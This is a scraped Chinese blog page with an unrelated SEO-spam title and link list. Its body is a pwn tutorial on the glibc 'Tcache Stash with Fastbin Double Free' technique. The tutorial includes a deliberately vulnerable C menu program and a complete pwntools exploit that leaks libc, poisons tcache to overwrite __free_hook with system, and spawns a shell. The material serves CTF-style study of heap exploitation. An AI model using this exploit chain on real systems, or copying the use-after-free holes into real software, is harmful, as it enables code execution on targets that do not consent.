当前位置: 首页 > news >正文

中国网新重庆无锡百度seo优化

中国网新重庆,无锡百度seo优化,上海关键词优化排名软件,dwcc网站前台脚本怎么做音频参考看雪课程:PWN 探索篇 前言 tcache key 的引入使得 tcache dup 利用出现了困难。除了简单利用 UAF 覆写 key 或者House Of Karui 之外,还可以利用 ptmalloc 中的其他机制进行绕过。 一、Tcache Stash with Fastbin Double Free 之前是 double free …

参考看雪课程:PWN 探索篇


前言

tcache key 的引入使得 tcache dup 利用出现了困难。除了简单利用 UAF 覆写 key 或者House Of Karui 之外,还可以利用 ptmalloc 中的其他机制进行绕过。


一、Tcache Stash with Fastbin Double Free

之前是 double free 后,chunk 被放入不同的 tcachebin 中来绕过检查。这里则是借助 fastbin 以及 tcache stash 机制实现利用。具体过程如下:

通过多次释放同样大小的堆块,能在内存中实现下述布局

其中 fastbin 中的 chunk8 经过了double free(fastbin 的 double free 检查仅校验释放的 chunk 和 bin 头部的 chunk 是否一致) 

当我们申请七次清空 tcachebin 时:

当再一次申请该大小的 chunk 会发生什么?这个过程有些绕,让我们慢慢理解。

首先,fastbin 头部的 chunk 被取下来。这里的取下来仅仅是指 fastbin 返回头部 chunk 然后指向下一个 chunk,而且别忘了,取出的 chunk 的值未改变,因此指针还存在:

然后会无缝地进行 tcache stash —— 将 fastbin 中的 chunk 填充到 tcachebin 中,首先头部的 chunk9 进入 tcachebin

然后轮到 chunk8 进入 tcachebin

然后又是 chunk9 进入 tcachebin

接下来你可能会认为,将 chunk9 申请出来修改其 next 即可实现 tcache poisoning,然而这种较高版本 tcache 的 count 数组被用于检查 tcache 是否为空。即上图目前 tcache 记录有 3 个chunk,即使 chunk9 的 next 被修改,也无法更多的申请出 poisoning 的堆块。

不过注意已经取出的合法 chunk 们,可以发现,chunk8已经被我们取出,因此我们直接修改chunk8 的 next 指针,即可实现 tcache poisoning。

二、测试与模板

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>char *chunk_list[0x100];void menu() {puts("1. add chunk");puts("2. delete chunk");puts("3. edit chunk");puts("4. show chunk");puts("5. exit");puts("choice:");
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts("index:");int index = get_num();puts("size:");int size = get_num();chunk_list[index] = malloc(size);
}void delete_chunk() {puts("index:");int index = get_num();free(chunk_list[index]);
}void edit_chunk() {puts("index:");int index = get_num();puts("length:");int length = get_num();puts("content:");read(0, chunk_list[index], length);
}void show_chunk() {puts("index:");int index = get_num();puts(chunk_list[index]);
}int main() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);while (1) {menu();switch (get_num()) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:exit(0);default:puts("invalid choice.");}}
}

 

from pwn import *
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
context.arch=elf.arch
context.log_level='debug'io=process('./pwn')
def add(index,size):io.sendlineafter(b'choice:\n',b'1')io.sendlineafter(b'index:\n',str(index).encode())io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):io.sendlineafter(b'choice:\n',b'2')io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):io.sendlineafter(b'choice:\n',b'3')io.sendlineafter(b'index',str(index).encode())io.sendlineafter(b'length:\n',str(length).encode())io.sendafter(b'content:\n',content)
def show(index):io.sendlineafter(b'choice:\n',b'4')io.sendlineafter(b'index:\n',str(index).encode())gdb.attach(io)
# leak libc
add(0,0x410)
add(1,0x10)
delete(0)
show(0)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x7591b55b6be0+0x7591b5200000
libc.address=libc_base
success(hex(libc_base))
add(0,0x410)# tcache stash with fastbin attach
for i in range(9): add(i,0x20)
for i in range(2,9): delete(i)
delete(0)
delete(1)
delete(0)for i in range(2,9): add(i,0x20)
add(2,0x20)
pause()
edit(2,0x8,p64(libc.sym['__free_hook']))
pause()
add(0,0x20)
add(0,0x20)
add(0,0x20)
edit(0,0x8,p64(libc.sym['system']))
pause()
edit(3,0x8,b'/bin/sh\x00')
pause()
delete(3)
io.interactive()
http://www.wangmingla.cn/news/135767.html

相关文章:

  • 商业网站开发实训内容中国国家人事人才培训网
  • 南皮做网站怎样在百度上发布免费广告
  • wordpress网站制作新网站怎么做优化
  • 网站建设要学编程吗官方网站百度一下
  • 简述网站建设流程上优化seo
  • 合肥家居网站建设怎么样网站的网站建设
  • 秦皇岛网站制作公司网站分析
  • 石碣企业网站建设公司产品推广营销方案
  • 怎么做外链到其他网站培训机构咨询
  • 中山 网站建设一条龙免费人脉推广
  • 扬州市做网站做百度推广的公司电话号码
  • 移动网络服务电话长沙seo就选智优营家
  • 沈阳康平志诚建设集团网站谷歌seo优化排名
  • 柳州网站建设服务在线科技成都网站推广公司
  • 邯郸网站建设服务平台湖人最新消息
  • b2b网站免费建设搜索引擎优化seo网站
  • 有什么网站可以做电台app推广渠道商
  • 重庆教育集团建设公司网站百度推广和百度竞价有什么区别
  • 可免费商用的cms建站系统seo诊断的网络问题
  • 凡科自助建站自己做网站北京中文seo
  • 免费网站后台管理系统微商已经被国家定为传销了
  • win8导航网站模板学技术的培训学校
  • 常德新闻网常德论坛seo自学教程seo免费教程
  • 湖州做网站百度推广网站
  • 网站开发行业代码域名解析ip地址查询
  • 网站开发的经验技巧宁波网络推广优化方案
  • 免费站推广网站链接市场监督管理局官网
  • 服务器托管的平台seo谷歌外贸推广
  • 自学编程的网站电商运营模式
  • 网站制作 福宁网络有限公司网站建设推广服务